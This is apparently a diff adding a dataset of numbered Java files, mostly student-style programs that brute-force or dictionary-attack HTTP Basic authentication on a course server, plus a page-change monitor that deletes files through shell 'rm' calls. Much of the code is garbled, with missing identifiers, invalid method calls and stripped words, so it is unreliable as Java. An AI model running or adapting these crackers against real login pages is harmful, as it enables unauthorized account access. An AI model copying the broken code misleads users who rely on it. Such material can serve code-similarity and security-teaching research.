+          myProp.load(new FileInputStream (""WatchDog.ini""));
+      }
+      catch (Exception e)
+      {
+      }
+
+      return myProp;
+  }
+
+  private boolean fileDownloaded (String strFile, Vector vtrImages)
+  {
+      for ( int i = 0 ; i < vtrImages.size() ; i ++ )
+      {
+          String strImage = vtrImages.get(i).toString().trim();
+
+          if ( strImage.toLowerCase().indexOf(strFile.toLowerCase().trim()) > -1 )
+              return true;
+      }
+
+      return false;
+  }
+
+  private int GenerateChangeFile (String strUrl, Properties myProp, Properties prop)
+  {
+      int change = 0;
+      boolean boolMainChange = false;
+
+      try
+      {
+          FileOutputStream myOut = new FileOutputStream (""WatchDog.ini"");
+          DataOutputStream myIniOut = new DataOutputStream (myOut);
+
+          FileOutputStream fOut = new FileOutputStream (""Report.txt"");
+          DataOutputStream dOut = new DataOutputStream (fOut);
+
+          dOut.writeBytes(""Report of changes for \"""" + strUrl + ""\"":\n\n\n\n\n"");
+
+          Enumeration e = prop.keys();
+
+          while (e.hasMoreElements())
+          {
+              String file = e.nextElement().toString().toLowerCase().trim();
+
+              Runtime.getRuntime().exec(""rm "" + file);
+
+              myIniOut.writeBytes(file.toLowerCase() + ""="" + prop.getProperty(file) + ""\n"");
+
+              if (myProp.containsKey(file))
+              {
+                  String OldValue = myProp.getProperty(file);
+                  String newValue = prop.getProperty(file);
+
+                  if (OldValue != null && newValue != null)
+                  {
+                      if (!OldValue.trim().equals(newValue.trim()))
+                      {
+                          if (file.toLowerCase().trim().equalsIgnoreCase(""Watch.html""))
+                          {
+                            dOut.writeBytes(""Traget html  has been changed\n"");
+                            boolMainChange = true;
+                          }
+                          else
+                            dOut.writeBytes(""File \"""" + file + ""\"" has been changed\n"");
+
+                          change = 1;
+                      }
+                  }
+              }
+              else
+              {
+                  if (file.toLowerCase().trim().equalsIgnoreCase(""Watch.html""))
+                  {
+                       dOut.writeBytes(""Target html is checked for first time\n"");
+                       boolMainChange = true;
+                  }
+                  else
+                      dOut.writeBytes(""File \"""" + file + ""\"" is checked for first time and is new\n"");
+
+                   change = 1;
+              }
+          }
+
+          dOut.print();
+          fOut.print();
+
+          myIniOut.close();
+          myOut.close();
+      }
+      catch (Exception ex)
+      {
+          ex.printStackTrace ();
+      }
+
+      if (boolMainChange)
+          return 2;
+
+      return change;
+  }
+}"
+029.java,"
+import java.net.*;
+import java.*;
+import java.io.*;
+import java.util.GregorianCalendar;
+public class Dictionary
+{
+
+
+
+    public void crackAddress(String fileName) throws Exception
+    {
+       String line,username="""",passwd,pass;
+       int flag=0,i;
+       BufferedReader bf = new BufferedReader(new FileReader(fileName));
+       Runtime run = Runtime.getRuntime();
+       GregorianCalendar =new GregorianCalendar();
+       while((passwd=bf.readLine().trim())!=null)
+       {
+           if((i=passwd.indexOf(""\'""))!= -1)
+                 {
+                    passwd =passwd.substring(0,i)+(""\\"")+(passwd.substring(i,passwd.length()));
+                 }
+
+          System.out.println(""Hack password with the word:""+passwd);
+	      String command_line = ""lynx http://sec-crack.cs.rmit.edu./SEC/2/ -auth=""+username+"":""+passwd+"" -dump"";
+	      Process result = run.exec(command_line);
+          BufferedReader bf = new BufferedReader(new InputStreamReader(result.getInputStream()));
+
+        while((line=bf.readLine())!=null)
+        {
+           flag=1;
+           break;
+
+        }
+        if(flag==1)
+        {
+           System.out.println(""The username is: ""+username+"" The password is: ""+passwd);
+           break;
+        }
+       }
+       GregorianCalendar end=new GregorianCalendar();
+       double time = (double)(end.getTimeInMillis()-System.getTimeInMillis())/1e3;
+       System.out.println(""The attack use""+time+"" seconds."");
+    }
+
+public static void main(String args[]) throws Exception
+{
+   Dictionary ds = new Dictionary();
+   ds.crackAddress(args[0]);
+}
+}"
+034.java,"
+
+class LoginAttemptResults
+{
+    
+    private boolean success = false;
+    
+    private int passwordsTried = 0;
+    
+
+	
+    public LoginAttemptResults()
+    {
+    }
+    
+	
+    public void setSuccess (boolean inSuccess)
+    {
+        success = inSuccess;
+    }
+    
+	
+    public boolean getSuccess()
+    {
+        return success;
+    }
+    
+	
+    public void setPasswordsTried ( int inPasswordsTried)
+    {
+        passwordsTried = inPasswordsTried;
+    }
+    
+	
+    public int getPasswordsTried()
+    {
+        return passwordsTried;
+    }
+}   
+"
+148.java,"
+import java.net.*; 
+import java.io.*; 
+public class BruteForce {
+private static String password=""   ""; 
+
+   
+  public static void main(String[] args) {
+	   String Result=""""; 
+	  if (args.length<1)
+			 {
+			   System.out.println(""Error:  Correct Format Filename, username e.g<>""); 
+				System.exit(1);	
+			 }
+			 BruteForce bruteForce1 = new BruteForce();
+			  Result=bruteForce1.Password(""http://sec-crack.cs.rmit.edu./SEC/2/"",args[0]); 
+			  System.out.println(""The Password of   ""+args[0]+""is..""+Result);  
+			  
+		  }
+
+
+
+ private String Password(String urlString,String username) 
+ { 
+ int cnt=0;
+ 
+ t0 = System.currentTimeMillis();  
+  for ( char ch = 'A';  ch <= 'z';  ch++ )
+  { 
+						 if (ch>'Z' && ch<'a')
+						 { 
+						   ch='a'; 
+						 } 
+				
+				for ( char ch1 = 'A';  ch1 <= 'z';  ch1++ )
+				 { 
+					  
+						if (ch1>'Z' && ch1<'a')
+						 { 
+						   ch1='a'; 
+						 }
+
+
+					 for ( char ch2 = 'A';  ch2 <= 'z';  ch2++ )
+						 { 
+							if (ch2>'Z' && ch2<'a')
+						 { 
+						   ch2='a'; 
+						 }
+							password=String.valueOf(ch)+String.valueOf(ch1)+String.valueOf(ch2);
+								System.out.print(""crackin...:""); 
+					           	System.out.print(""\b\b\b\b\b\b\b\b\b\b\b"" ); 
+						try
+						{
+					
+				
+				
+				URL url = new URL (urlString);
+				String userPassword=username+"":""+password;  
+
+       
+		   String encoding = new url.misc.BASE64Encoder().encode (userPassword.getBytes());
+			 URLConnection conc= url.openConnection();  
+					   conc.setRequestProperty  (""Authorization"", "" "" + encoding);			   
+					   conc.connect();  
+						cnt++;
+					   if (conc.getHeaderField(0).trim().equalsIgnoreCase(""HTTP/1.1 200 OK""))
+						 {
+							 t1 = System.currentTimeMillis();  
+							 net=t1-t0;                                    
+							System.out.println(""The Number of Attempts ""+cnt); 
+							System.out.println(""Total Time Taken in secs""+net/1000); 
+							return password;  
+						}
+					
+				}
+
+		      	catch (Exception e )
+				{
+				  e.printStackTrace();   
+
+				}
+
+			
+		     
+		  
+		  }
+		  
+
+
+
+         
+                         
+	    }  
+        
+  
+	} 
+        return ""Password could not  found"";  
+
+ }
+
+
+}"
+096.java,"
+
+
+
+public class SMTPException extends Exception {
+
+       private String msg; 
+       
+       public SMTPException(String message) {
+              msg = message;
+       }
+
+       
+       public String getMessage() {
+              return msg;
+       }
+}"
+062.java,"
+
+import java.util.*;
+import java.*;
+import java.awt.*;
+import java.net.*;
+import java.io.*;
+import java.text.*;
+
+public class BruteForce {
+    
+    
+    
+    public static String Base64Encode(String s) {
+        byte[] bb = s.getBytes();
+        byte[] b  = bb;
+        char[] table = { 'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z',
+        'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z',
+        '0','1','2','3','4','5','6','7','8','9','+','/' };
+        if (bb.length % 3!=0) {
+            int x1 = bb.length;
+            
+            b = new byte[(x1/3+1)*3];
+            int x2 = b.length;
+            
+            for(int i=0;i<x1;i++)
+                b[i] = bb[i];
+            for(int i=x1;i<x2;i++)
+                b[i] = 0;
+        }
+        
+        char[] c = new char[b.length/3*4];
+        
+        int i=0, j=0;
+        while (i+3<=b.length) {
+            c[j]     = table[(b[i]   >>  2)];
+            c[j+1]   = table[(b[i+1] >>  4) | ((b[i]   &  3) << 4)];
+            c[j+2]   = table[(b[i+2] >>  6) | ((b[i+1] & 15) << 2)];
+            c[j+3]   = table[(b[i+2] &  63)];
+            i+=3;
+            j+=4;
+        }
+        
+        j = c.length-1;
+        while (c[j]=='A') {
+            c[j]='=';
+            j--;
+        }
+        
+        return String.valueOf(c);
+    }
+    
+    
+    public synchronized void getAccumulatedLocalAttempt() {
+        attempt = 0;
+        for (int i=0;i<MAXTHREAD;i++) {
+            attempt += threads[i].getLocalAttempt();
+        }
+    }
+    
+    
+    public synchronized void printStatusReport(String Attempt, String currprogress,String ovrl, double[] attmArr, int idx) {
+        DecimalFormat fmt = new DecimalFormat();
+        fmt.applyPattern(""0.00"");
+        
+        System.out.println();
+        System.out.println("" ------------------------ [ CURRENT STATISTICS ] ---------------------------"");
+        System.out.println();
+        System.out.println(""  Current connections   : ""+curconn);
+        System.out.println(""  Current progress      : ""+attempt+ "" of ""+ALLCOMBI+"" (""+currprogress+""%)"");
+        System.out.println(""  Overall Attempts rate : ""+ovrl+"" attempts  second (approx.)"");
+        System.out.println();
+        System.out.println("" ---------------------------------------------------------------------------"");
+        System.out.println();
+    }
+    
+    
+    public class MyTT extends TimerTask {
+        
+        public synchronized void run() {
+            
+            
+            if (count==REPORT_INTERVAL) {
+                
+                DecimalFormat fmt = new DecimalFormat();
+                fmt.applyPattern(""0.00"");
+                
+                
+                getAccumulatedLocalAttempt();
+                double p = (double)attempt/(double)ALLCOMBI*100;
+                
+                
+                double aps = (double) (attempt - attm) / REPORT_INTERVAL;
+                
+                
+                attmArr[attmArrIdx++] = aps;
+                
+                
+                printStatusReport(String.valueOf(attempt),fmt.format(p),fmt.format(getOverallAttemptPerSec()),attmArr,attmArrIdx);
+                count = 0;
+            } else
+                
+                if (count==0) {
+                    getAccumulatedLocalAttempt();
+                    attm = attempt;
+                    count++;
+                } else {
+                    count++;
+                }
+        }
+        
+        
+        public synchronized double getOverallAttemptPerSec() {
+            double val = 0;
+            for (int i=0;i<attmArrIdx;i++) {
+                 val+= attmArr[i];
+            }
+            return val / attmArrIdx;
+        }
+        
+        private int      count = 0;
+        private   int   attm;
+        private int      attmArrIdx = 0;
+        private double[] attmArr = new double[2*60*60/10]; 
+    }
+    
+    
+    public synchronized void interruptAll(int ID) {
+        for (int i=0;i<MAXTHREAD;i++) {
+            if ((threads[i].isAlive()) && (i!=ID)) {
+                threads[i].interrupt();
+            }
+            notifyAll();
+        }
+    }
+    
+    
+    
+    public synchronized void setSuccess(int ID, String p) {
+        passw   = p;
+        success = ID;
+        notifyAll();
+        interruptAll(ID);
+        
+        
+        end = System.currentTimeMillis();
+    }
+    
+    
+    public synchronized boolean isSuccess() {
+        return (success>=0);
+    }
+    
+    
+    
+    public synchronized void waitUntilAllTerminated() {
+        while (curconn>0) {
+            try {
+                wait();
+            } catch (InterruptedException e) {}
+        }
+    }
+    
+    
+    
+    
+    public synchronized int waitUntilOK2Connect() {
+        boolean interruptd= false;
+        int idx = -1;
+        
+        
+        
+        
+        while (curconn>=MAXCONN) {
+            try {
+                wait();
+            } catch (InterruptedException e) { interruptd = true; }
+        }
+        
+        
+        
+        if (!interruptd) {
+            
+            curconn++;
+            for (idx=0;idx<MAXCONN;idx++)
+                if (!connused[idx]) {
+                    connused[idx] = true;
+                    break;
+                }
+            
+            notifyAll();
+        }
+        
+        
+        return idx;
+    }
+    
+    
+    public synchronized void decreaseConn(int idx) {
+        curconn--;
+        connused[idx] = false;
+        
+        
+        notifyAll();
+    }
+    
+    
+    public class ThCrack extends Thread {
+        
+        
+        public ThCrack(int threadID, int startidx, int endidx) {
+            super("" Thread #""+String.valueOf(threadID)+"": "");
+            this.ID       = threadID;
+            this.startidx = startidx;
+            this.endidx   = endidx;
+            
+            setDaemon(true);
+        }
+        
+        
+        public boolean launchRequest(String ID, int connID,String thePass) throws IOException, InterruptedException {
+            int i ;
+            String msg;
+            
+            
+            URL tryURL = new URL(THEURL);
+            
+            
+            connections[connID]=(HttpURLConnection) tryURL.openConnection();
+            
+            
+            connections[connID].setRequestProperty(""Authorization"","" ""+Base64Encode(USERNAME+"":""+thePass));
+            
+            
+            i = connections[connID].getResponseCode();
+            msg  = connections[connID].getResponseMessage();
+            connections[connID].disconnect();
+            
+            
+            if (i==HttpURLConnection.HTTP_OK) {
+                
+                System.out.println(ID+""Trying '""+thePass+""' GOTCHA !!! (= ""+String.valueOf()+""-""+msg+"")."");
+                setSuccess(this.ID,thePass);
+                return (true);
+            } else {
+                
+                System.out.println(ID+""Trying '""+thePass+""' FAILED (= ""+String.valueOf()+""-""+msg+"")."");
+                return (false);
+            }
+        }
+        
+        
+        public void rest(int msec) {
+            try { sleep(msec); } catch (InterruptedException e) {}
+        }
+        
+        
+        
+        public String constructPassword( int idx) {
+            int     i = idxLimit.length-2;
+            boolean processed = false;
+             
+            String result = """";
+            while (i>=0) {
+                if (idx>=idxLimit[i]) {
+                    int nchar = i + 1;
+                    idx-=idxLimit[i];
+                    for (int j=0;j<nchar;j++) {
+                        x = (idx % NCHAR);
+                        result = charset.charAt((int) x) + result;
+                        idx /= NCHAR;
+                    }
+                    break;
+                }
+                i--;
+            }
+            
+            return result;
+        }
+        
+        
+        public String getStartStr() {
+            return constructPassword(this.startidx);
+        }
+        
+        
+        public String getEndStr() {
+            return constructPassword(this.endidx);
+        }
+        
+        
+        public void run() {
+             i = startidx;
+            boolean keeprunning = true;
+            while ((!isSuccess()) && (i<=endidx) && (keeprunning)) {
+                
+                
+                int idx = waitUntilOK2Connect();
+                
+                
+                if (idx==-1) {
+                    
+                    break;
+                }
+                
+                try {
+                    
+                    launchRequest(getName(), idx, constructPassword(i));
+                    
+                    decreaseConn(idx);
+                    
+                    localattempt++;
+                    
+                    
+                    rest(MAXCONN);
+                    i++;
+                } catch (InterruptedException e) {
+                    
+                    
+                    keeprunning = false;
+                    break;
+                } catch (IOException e) {
+                    
+                    
+                    
+                    
+                    
+                    decreaseConn(idx);
+                }
+            }
+            
+            
+            if (success==this.ID) {
+                waitUntilAllTerminated();
+            }
+        }
+        
+        
+        public int getLocalAttempt() {
+            return localattempt;
+        }
+        
+        private int startidx,endidx;
+        private int ID;
+        private int localattempt = 0;
+    }
+    
+    
+    public void printProgramHeader(String mode,int nThread) {
+        System.out.println();
+        System.out.println("" ********************* [ BRUTE-FORCE CRACKING SYSTEM ] *********************"");
+        System.out.println();
+        System.out.println(""  URL         : ""+THEURL);
+        System.out.println(""  Crack Mode  : ""+mode);
+        System.out.println(""  Characters  : ""+charset);
+        System.out.println(""  . Char   : ""+MINCHAR);
+        System.out.println(""  . Char   : ""+MAXCHAR);
+        System.out.println(""  # of Thread : ""+nThread);
+        System.out.println(""  Connections : ""+MAXCONN);
+        System.out.println(""  All Combi.  : ""+ALLCOMBI);
+        System.out.println();
+        System.out.println("" ***************************************************************************"");
+        System.out.println();
+    }
+    
+    
+    public void startNaiveCracking() {
+        MAXTHREAD = 1;
+        MAXCONN   = 1;
+        startDistCracking();
+    }
+    
+    
+    public void startDistCracking() {
+         int startidx,endidx;
+        int   thcount;
+        
+        
+        if (isenhanced) {
+            printProgramHeader(""ENHANCED BRUTE-FORCE CRACKING ALGORITHM"",MAXTHREAD);
+        } else {
+            printProgramHeader(""NAIVE BRUTE-FORCE CRACKING ALGORITHM"",MAXTHREAD);
+        }
+        
+        
+        i = System.currentTimeMillis();
+        
+         idxstart = idxLimit[MINCHAR-1];
+        
+        
+        
+        
+        
+        
+        if (MAXTHREAD>ALLCOMBI - idxstart) { MAXTHREAD = (int) (ALLCOMBI-idxstart); }
+         mult = (ALLCOMBI - idxstart) / MAXTHREAD;
+        
+        
+        
+        for (thcount=0;thcount<MAXTHREAD-1;thcount++) {
+            startidx = thcount*mult + idxstart;
+            endidx   = (thcount+1)*mult-1 + idxstart;
+            threads[thcount] = new ThCrack(thcount, startidx, endidx);
+            System.out.println(threads[thcount].getName()+"" try  crack from '""+threads[thcount].getStartStr()+""'  '""+threads[thcount].getEndStr()+""'"");
+        }
+        
+        
+        
+        
+        
+        startidx = (MAXTHREAD-1)*mult + idxstart;
+        endidx   = ALLCOMBI-1;
+        threads[MAXTHREAD-1] = new ThCrack(MAXTHREAD-1, startidx, endidx);
+        System.out.println(threads[MAXTHREAD-1].getName()+"" try  crack from '""+threads[MAXTHREAD-1].getStartStr()+""'  '""+threads[MAXTHREAD-1].getEndStr()+""'"");
+        
+        System.out.println();
+        System.out.println("" ***************************************************************************"");
+        System.out.println();
+        
+        
+        for (int i=0;i<MAXTHREAD;i++)
+            threads[i].print();
+    }
+    
+    
+    public BruteForce() {
+        
+        if (isenhanced) {
+            startDistCracking();
+        } else {
+            startNaiveCracking();
+        }
+        
+        
+        reportTimer  = new java.util.Timer();
+        MyTT      tt = new MyTT();
+        reportTimer.schedule(tt,1000,1000);
+        
+        
+        while ((success==-1) && (attempt<ALLCOMBI)) {
+            try { Thread.sleep(100); getAccumulatedLocalAttempt(); } catch (InterruptedException e) {  }
+        }
+        
+        
+        if (success==-1) {
+            end = System.currentTimeMillis();
+        }
+        
+        
+        getAccumulatedLocalAttempt();
+        
+        double ovAps = tt.getOverallAttemptPerSec();
+        DecimalFormat fmt = new DecimalFormat();
+        fmt.applyPattern(""0.00"");
+        
+        
+        reportTimer.cancel();
+        
+        
+        try { Thread.sleep(1000); } catch (InterruptedException e) {  }
+        
+        
+        synchronized (this) {
+            if (success>=0) {
+                System.out.println();
+                System.out.println("" ********************* [ URL SUCCESSFULLY CRACKED !! ] *********************"");
+                System.out.println();
+                System.out.println(""  The password is     : ""+passw);
+                System.out.println(""  Number of attempts  : ""+attempt+"" of ""+ALLCOMBI+"" total combinations"");
+                System.out.println(""  Attempt position    : ""+fmt.format((double)attempt/(double)ALLCOMBI*100)+""%"");
+                System.out.println(""  Overal attempt rate : ""+fmt.format(ovAps)+ "" attempts/sec"");
+                System.out.println(""  Cracking time       : ""+String.valueOf(((double)end-(double)d)/1000) + "" seconds"");
+                System.out.println(""  Worstcase time estd : ""+fmt.format(1/ovAps*ALLCOMBI)+ "" seconds"");
+                System.out.println();
+                System.out.println("" ***************************************************************************"");
+                System.out.println();
+            } else {
+                System.out.println();
+                System.out.println("" ********************* [ UNABLE  CRACK THE URL !!! ] *********************"");
+                System.out.println();
+                System.out.println(""  Number of attempts  : ""+attempt+"" of ""+ALLCOMBI+"" total combinations"");
+                System.out.println(""  Attempt position    : ""+fmt.format((double)attempt/(double)ALLCOMBI*100)+""%"");
+                System.out.println(""  Overal attempt rate : ""+fmt.format(ovAps)+ "" attempts/sec"");
+                System.out.println(""  Cracking time       : ""+String.valueOf(((double)end-(double)d)/1000) + "" seconds"");
+                System.out.println();
+                System.out.println("" ***************************************************************************"");
+                System.out.println();
+            }
+        }
+    }
+    
+    
+    public static void printSyntax() {
+        System.out.println();
+        System.out.println(""Syntax : BruteForce [mode] [URL] [charset] [] [] [username]"");
+        System.out.println();
+        System.out.println(""   mode     : (opt) 0 - NAIVE Brute force mode"");
+        System.out.println(""                        (trying from the first  the last combinations)"");
+        System.out.println(""                    1 - ENHANCED Brute force mode"");
+        System.out.println(""                        (dividing cracking jobs  multiple threads) (default)"");
+        System.out.println(""   URL      : (opt) the URL  crack "");
+        System.out.println(""                    (default : http://sec-crack.cs.rmit.edu./SEC/2/index.php)"");
+        System.out.println(""   charset  : (optional) the character set used  crack."");
+        System.out.println(""              - (default)"");
+        System.out.println(""                 abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"");
+        System.out.println(""              -alphanum       "");
+        System.out.println(""                 abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890"");
+        System.out.println(""              -alphalow       "");
+        System.out.println(""                 abcdefghijklmnopqrstuvwxyz"");
+        System.out.println(""              -alphaup        "");
+        System.out.println(""                 ABCDEFGHIJKLMNOPQRSTUVWXYZ"");
+        System.out.println(""              -number         "");
+        System.out.println(""                 1234567890"");
+        System.out.println(""               [custom] e.g. aAbB123"");
+        System.out.println(""   ,  : (optional) range of characters   applied in the cracking"");
+        System.out.println(""                         where  1   <=  <= 10  (default  = 1)"");
+        System.out.println(""                                 <=  <= 10  (default  = 3)"");
+        System.out.println(""   username : (optional) the username that is used  crack"");
+        System.out.println();
+        System.out.println(""   NOTE: The optional parameters 'charset','','', and 'username'"");
+        System.out.println(""         have   specified altogether  none at all."");
+        System.out.println(""         For example, if [charset] is specified, then [], [], and"");
+        System.out.println(""         [username] have   specified as well. If none of them  specified,"");
+        System.out.println(""         default values   used."");
+        System.out.println();
+        System.out.println(""   Example of invocation :"");
+        System.out.println(""         java BruteForce "");
+        System.out.println(""         java BruteForce 0"");
+        System.out.println(""         java BruteForce 1 http://localhost/tryme.php"");
+        System.out.println(""         java BruteForce 0 http://localhost/tryme.php - 1 3 "");
+        System.out.println(""         java BruteForce 1 http://localhost/tryme.php aAbBcC 1 10 "");
+        System.out.println();
+        System.out.println();
+    }
+    
+    
+    
+    
+    
+    
+    
+    
+    public static void countIdxLimit() {
+        idxLimit = new int[MAXCHAR+1];
+        
+        NCHAR    = charset.length();
+        ALLCOMBI = 0;
+        for (int i=0;i<=MAXCHAR;i++) {
+            if (i==0) {
+                idxLimit[i] = 0;
+            } else {
+                idxLimit[i] = idxLimit[i-1] + Math.pow(NCHAR,i);
+            }
+        }
+        
+        ALLCOMBI = idxLimit[idxLimit.length-1];
+    }
+    
+    
+    public static void paramCheck(String[] args) {
+        int argc = args.length;
+        
+        
+        try {
+            switch (Integer.valueOf(args[0]).intValue()) {
+                case 0: {
+                    isenhanced = false;
+                } break;
+               case  1: {
+                    isenhanced = true;
+                } break;
+                default:
+                    System.out.println(""Syntax error : invalid mode '""+args[0]+""'"");
+                    printSyntax();
+                    System.exit(1);
+            }
+        } catch (NumberFormatException e) {
+            System.out.println(""Syntax error : invalid number '""+args[0]+""'"");
+            printSyntax();
+            System.exit(1);
+        }
+        
+        if (argc>1) {
+            try {
+                
+                URL u  = new URL(args[1]);
+                
+                
+                try {
+                    HttpURLConnection conn = (HttpURLConnection) u.openConnection();
+                    
+                    switch (conn.getResponseCode()) {
+                        case HttpURLConnection.HTTP_ACCEPTED:
+                       case  HttpURLConnection.HTTP_OK:
+                       case  HttpURLConnection.HTTP_NOT_AUTHORITATIVE:
+                       case  HttpURLConnection.HTTP_FORBIDDEN:
+                       case  HttpURLConnection.HTTP_UNAUTHORIZED:
+                            break;
+                        default:
+                            
+                            
+                            System.out.println(""Unable  open connection  the URL '""+args[1]+""'"");
+                            System.exit(1);
+                    }
+                } catch (IOException e) {
+                    System.out.println(e);
+                    System.exit(1);
+                }
+                
+                THEURL = args[1];
+            } catch (MalformedURLException e) {
+                
+                System.out.println(""Invalid URL '""+args[1]+""'"");
+                printSyntax();
+                System.exit(1);
+            }
+        }
+        
+        
+        if (argc==6) {
+            try {
+                MINCHAR = Integer.valueOf(args[3]).intValue();
+            } catch (NumberFormatException e) {
+                System.out.println(""Invalid  range number value '""+args[3]+""'"");
+                printSyntax();
+                System.exit(1);
+            }
+            
+            try {
+                MAXCHAR = Integer.valueOf(args[4]).intValue();
+            } catch (NumberFormatException e) {
+                System.out.println(""Invalid  range number value '""+args[4]+""'"");
+                printSyntax();
+                System.exit(1);
+            }
+            
+            if ((MINCHAR<1) || (MINCHAR>10)) {
+                System.out.println(""Invalid  range number value '""+args[3]+""' (must between 0 and 10)"");
+                printSyntax();
+                System.exit(1);
+            } else
+                if (MINCHAR>MAXCHAR) {
+                    System.out.println(""Invalid  range number value '""+args[3]+""' (must lower than the  value)"");
+                    printSyntax();
+                    System.exit(1);
+                }
+            
+            if (MAXCHAR>10) {
+                System.out.println(""Invalid  range number value '""+args[4]+""' (must between  value and 10)"");
+                printSyntax();
+                System.exit(1);
+            }
+            
+            if (args[2].toLowerCase().equals(""-"")) {
+                charset = ""abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"";
+            } else
+                if (args[2].toLowerCase().equals(""-alphanum"")) {
+                    charset = ""abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890"";
+                } else
+                    if (args[2].toLowerCase().equals(""-alphalow"")) {
+                        charset = ""abcdefghijklmnopqrstuvwxyz"";
+                    } else
+                        if (args[2].toLowerCase().equals(""-alphaup"")) {
+                            charset = ""ABCDEFGHIJKLMNOPQRSTUVWXYZ"";
+                        } else
+                            if (args[2].toLowerCase().equals(""-number"")) {
+                                charset = ""1234567890"";
+                            } else {
+                                charset = args[2];
+                            }
+            
+            USERNAME = args[5];
+        } else
+            if ((argc>2) && (argc<6)) {
+                System.out.println(""Please specify the [charset], [], [], and [username] altogether  none at all"");
+                printSyntax();
+                System.exit(1);
+            } else
+                if ((argc>2) && (argc>6)) {
+                    System.out.println(""The number of parameters expected is not more than 6. "");
+                    System.out.println("" have specified more than 6 parameters."");
+                    printSyntax();
+                    System.exit(1);
+                }
+    }
+    
+    public static void main (String[] args) {
+        
+        charset = ""abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"";
+        MINCHAR = 1;
+        MAXCHAR = 3;
+        
+        
+        if (args.length==0) {
+            args    = new String[6];
+            args[0] = String.valueOf(1); 
+            args[1] = THEURL;
+            args[2] = ""-"";
+            args[3] = String.valueOf(MINCHAR);
+            args[4] = String.valueOf(MAXCHAR);
+            args[5] = USERNAME;
+        }
+        
+        
+        paramCheck(args);
+        
+        countIdxLimit();
+        
+        
+        Application = new BruteForce();
+    }
+    
+    public static BruteForce Application;
+    public static String    THEURL = ""http://sec-crack.cs.rmit.edu./SEC/2/index.php"";
+    public static boolean   isenhanced; 
+    public static String    passw  = """";   
+    
+    public static final int REPORT_INTERVAL = 10; 
+    public static int       MAXTHREAD =  50;      
+    public static int       MAXCONN   =  50;      
+    public static int	    curconn   =   0;      
+    public static int       success   =  -1;      
+    
+    public static String    USERNAME = """";  
+    public static int       MINCHAR;              
+    public static int       MAXCHAR;              
+    public static  int     ALLCOMBI;             
+    
+    public static   int start   ,end;            
+    
+    
+    public static java.util.Timer   reportTimer; 
+    public static HttpURLConnection connections[] = new HttpURLConnection[MAXCONN]; 
+    public static boolean	    connused[]    = new boolean[MAXCONN];           
+    public        ThCrack[] threads               = new ThCrack[MAXTHREAD];         
+    public static    int   attempt               = 0; 
+    public static int    idxLimit; 
+    public static String    charset;  
+    public static int       NCHAR;    
+}
+"
+175.java,"import java.io.*;
+import java.net.*;
+import java.util.*;
+
+
+public class BruteForce
+{
+
+	public static void main(String args[])
+	{
+		
+		
+        Calendar cal = Calendar.getInstance();
+        Date now=cal.getTime();
+        double startTime = now.getTime();
+
+		String password=getPassword(startTime);
+		System.out.println(""The password is "" + password);
+	}
+
+	public static String getPassword(double startTime)
+	{
+		char first, second, third;
+		String password="""";
+		int requests=0;
+
+		
+		for (int i=65; i<123; i++)
+		{
+			requests++;
+			first = (char) i;
+
+			password = first + """";
+
+			
+			if (testPassword(password, startTime, requests))
+				return password;
+
+			for (int j=65; j<123; j++)
+			{
+				requests++;
+				second = (char) j;
+
+				password = first + """" + second;
+
+				
+				if (testPassword(password, startTime, requests))
+					return password;
+
+				for (int k=65; k<123; k++)
+				{
+					requests++;
+					third = (char) k;
+
+					password = first + """" + second + """" + third;
+
+					
+					if (testPassword(password, startTime, requests))
+						return password;
+
+
+					
+					if (k==90)
+						k=96;
+
+				}
+
+				if (j==90)
+					j=96;
+
+			}
+
+			if (i==90)
+				i=96;
+
+		}
+
+		return password;
+	}
+
+	private static boolean testPassword(String password, double startTime, int requests)
+	{
+		try
+		{
+			
+			
+			URL url=new URL(""http://sec-crack.cs.rmit.edu./SEC/2/"");
+
+			HttpURLConnection connection;
+
+    		String userPassword =  "":"" + password;
+
+    		
+    		String encoding = new url.misc.BASE64Encoder().encode (userPassword.getBytes());
+
+			try
+			{
+				
+				connection = (HttpURLConnection) url.openConnection();
+				
+				connection.setRequestProperty(""Authorization"", "" "" + encoding);
+
+				
+				int status=connection.getResponseCode();
+
+				System.out.println(password + requests);
+
+				if (status==200)
+				{
+					System.out.println(""It took "" + getTime(startTime) + "" milliseconds  find the password."");
+					System.out.println("" were "" + requests + "" requests ."");
+
+					return true;
+				}
+
+				return false;
+
+			}
+
+			catch (IOException ioe)
+			{
+				System.out.print(ioe);
+				return false;
+			}
+
+		}
+
+		catch (IOException MalformedURLException)
+		{
+			System.out.print(""Invalid URL"");
+			return false;
+		}
+	}
+
+
+	private static double getTime(double startTime)
+	{
+		
+		
+        Calendar cal = Calendar.getInstance();
+        Date now=cal.getTime();
+        double endTime = now.getTime();
+
+        return endTime-startTime;
+
+	}
+
+}
+"
+188.java,"
+
+import java.awt.*;
+import java.String;
+import java.util.*;
+import java.io.*;
+import java.net.*;
+
+
+
+public class BruteForce
+{
+   private URL url;
+   private HttpURLConnection connection ;
+   private  int stopTime = 0;
+   private  int startTime = 0;
+   private  int count = 0;
+
+   public BruteForce()
+   {
+      System.out.println(""Process is running..."");
+      startTime = System.currentTimeMillis();
+      threeLetters();
+      twoLetters();
+   }
+
+   public static void main (String args[])
+   {
+      BruteForce bf = new BruteForce();
+   }
+   
+   public void threeLetters()
+   {
+      String s1;
+      char [] a = {'a','a','a'};
+
+      for (int i0 = 0; i0 < 26; i0++)
+      {
+         for (int i1 = 0; i1 < 26; i1++)
+         {
+            for (int i2 = 0; i2 < 26; i2++)
+            {
+               s1 = String.valueOf((char)(a[0] + i0)) + String.valueOf((char)(a[1] + i1)) +
+		            String.valueOf((char)(a[2] + i2));
+               decision(s1);
+               count++;
+
+               s1 = String.valueOf((char)(a[0] + i0)) + String.valueOf((char)(a[1] + i1)) +
+                    (String.valueOf((char)(a[2] + i2))).toUpperCase();
+               decision(s1);
+               count++;
+
+               s1 = String.valueOf((char)(a[0] + i0)) + (String.valueOf((char)(a[1] + i1))).toUpperCase() +
+                    (String.valueOf((char)(a[2] + i2))).toUpperCase();
+               decision(s1);
+               count++;
+
